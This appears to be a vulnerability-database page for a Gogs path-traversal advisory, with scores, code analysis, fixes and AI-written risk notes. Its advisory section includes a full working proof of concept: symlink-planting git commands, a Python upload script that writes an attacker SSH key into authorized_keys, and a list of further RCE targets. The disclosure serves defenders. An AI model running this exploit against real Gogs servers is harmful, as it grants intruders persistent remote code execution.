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Gogs CVE-2026-52811

| EUVDEUVD-2026-39082 CRITICAL
Path Traversal (CWE-22)
2026-06-23 https://github.com/gogs/gogs GHSA-89mr-xqfv-758m
9.0
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
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Vendor (https://github.com/gogs/gogs) PRIMARY
9.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.5 HIGH

Network-reachable with only a repo-write account (PR:L), no user interaction; the write escapes the repo to the host filesystem (S:C) enabling RCE, so C/I/A all High.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

7
Analysis Updated
Jun 24, 2026 - 21:28 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 24, 2026 - 21:28 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 24, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Jun 24, 2026 - 21:22 NVD
9.0 (CRITICAL)
CVE Published
Jun 23, 2026 - 17:36 cve.org
CRITICAL
Source Code Evidence Fetched
Jun 23, 2026 - 17:34 vuln.today
Analysis Generated
Jun 23, 2026 - 17:34 vuln.today

DescriptionCVE.org

Summary

(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component - UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write - ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.

Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks). Details

The asymmetric check at internal/database/repo_editor.go:601-612:

go
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY
    return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }

vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:

go
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
    return errors.New("cannot update file with symbolic link in path")
}

hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf - fine inside the loop, wrong as a single call.

Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) - Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") - converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) - no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.

Suggested fix

  1. Replace the leaf check at repo_editor.go:606 with hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name)) - the same primitive UpdateRepoFile already uses.
  2. Walk opts.TreePath *before* the os.MkdirAll(dirPath, ...) at line 583 so that pre-existing symlinked components don't let MkdirAll create directories outside the repo.
  3. Switch iox.CopyFile's open to O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
  4. In database.NewUpload, after pathx.Clean, refuse name containing / or \ outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.

PoC

Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osxosutil, iox.CopyFilecom.Copy, identical logic).

Reproduction prerequisites

  • gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows").
  • Two attacker accounts on the gogs instance with write to a repo attacker/playground (repo creators are admins of their own repos).
  • git ≥ 2.x with core.symlinks=true (Linux/macOS default).
  • Python 3 stdlib only - curl -F does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.

Why curl alone is unreliable

Bug needs *two* backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\XX) yields a single \ in the parsed filename, which pathx.Clean then turns into /.

Shell formWire bytesGo parses toupload.NameTriggers?
-F "...filename=a\b"a\bababno
-F "...filename=a\\b" (double quotes)a\bababno
-F '...filename=a\\b' (single quotes)a\\ba\ba/byes

The Python below removes the ambiguity.

Step 1 - plant the directory symlink

sh
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..

Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.

Step 2 - upload + commit

Save as poc.py:

python
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

ctx = ssl.create_default_context()
# set to None for plain HTTP / port 3000
def conn():
    if ctx is None:
        return http.client.HTTPConnection(GOGS_HOST, 3000)
    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)

cookies = {}
def update_cookies(resp):
    for hdr in resp.msg.get_all('Set-Cookie') or []:
        for name, morsel in SimpleCookie(hdr).items():
            cookies[name] = morsel.value
def cookie_header():
    return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
    return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
#    Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'
# 23 chars, 2 of them backslashes
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
        'commit_choice': 'direct', 'files': uuid,
    }),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
sh
python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302

Step 3 - confirm and use the foothold

sh
sudo cat /home/git/.ssh/authorized_keys
# operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop

ssh -i ~/.ssh/id_ed25519 git@gogs.example
# attacker's view
# → shell as the gogs runtime UID

Server-side trace

multipart wire bytes:  filename="hijack\\authorized_keys"
mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)

UploadRepoFiles:
  targetPath = <local-r>/<repoID>/hijack/authorized_keys
             = /home/git/.ssh/authorized_keys               (parent symlink resolved)
  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)

Other reachable targets (same primitive)

Symlink targetEffect on next event
/home/git/.sshSSH key implant → shell as gogs UID
<RepoRoot>/<owner>/<repo>.git/hooksHook overwrite → arbitrary code on next push
<RepoRoot>/<owner>/<repo>.gitcore.fsmonitor=<cmd> in config → exec on next git op
~git/custom/confModify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart
Path of the sqlite DB fileDoS or admin-row replant

Independent confirmation against the source

sh
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
     <(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")

Impact

  • Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
  • Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with GOGS_AUTH_USER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
  • Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
  • Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).

AnalysisAI

Authenticated arbitrary file write in Gogs (self-hosted Git service) versions below 0.14.3 on Linux/macOS lets a user with repository write access escape the working tree and overwrite any file the gogs UID can touch, escalating to remote code execution. The flaw stems from UploadRepoFiles validating symlinks only on the leaf path while sibling functions correctly walk every component; combined with a crafted multipart filename containing a literal backslash, the write is redirected through a previously committed directory symlink to targets like ~git/.ssh/authorized_keys or <repo>.git/hooks/post-receive. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate with repo-write account
Delivery
Commit directory symlink (e.g. hijack→~git/.ssh) via git push
Exploit
Upload file with backslash-crafted multipart filename
Execution
Commit upload, write follows parent symlink
Persist
Implant key in ~git/.ssh/authorized_keys
Impact
SSH in as gogs UID for RCE

Vulnerability AssessmentAI

Exploitation Requires an authenticated account with write access to some repository (PR:L) on a Gogs instance running on Linux or macOS (`runtime.GOOS != "windows"`), version 0.14.0-0.14.2. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine high-priority issue, not a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who can create a repository on a Linux-hosted Gogs instance (thereby becoming its admin/writer) commits a directory symlink such as `hijack -> /home/git/.ssh`, then uploads a file whose multipart filename contains a literal backslash (`hijack\authorized_keys`) so the server resolves the write into `~git/.ssh/authorized_keys`. Because the destination is opened without `O_NOFOLLOW`, the attacker's SSH public key is written through the parent symlink, and they then SSH in as the gogs runtime UID for full remote code execution. …
Remediation Vendor-released patch: upgrade to Gogs 0.14.3, which replaces the leaf-only `osx.IsSymlink` check with the full-path `hasSymlinkInPath` walker (PR https://github.com/gogs/gogs/pull/8332, commit https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31; advisory GHSA-89mr-xqfv-758m). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Audit all Gogs instances for version 0.14.3 or below and restrict repository write permissions to essential personnel only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-52811 vulnerability details – vuln.today

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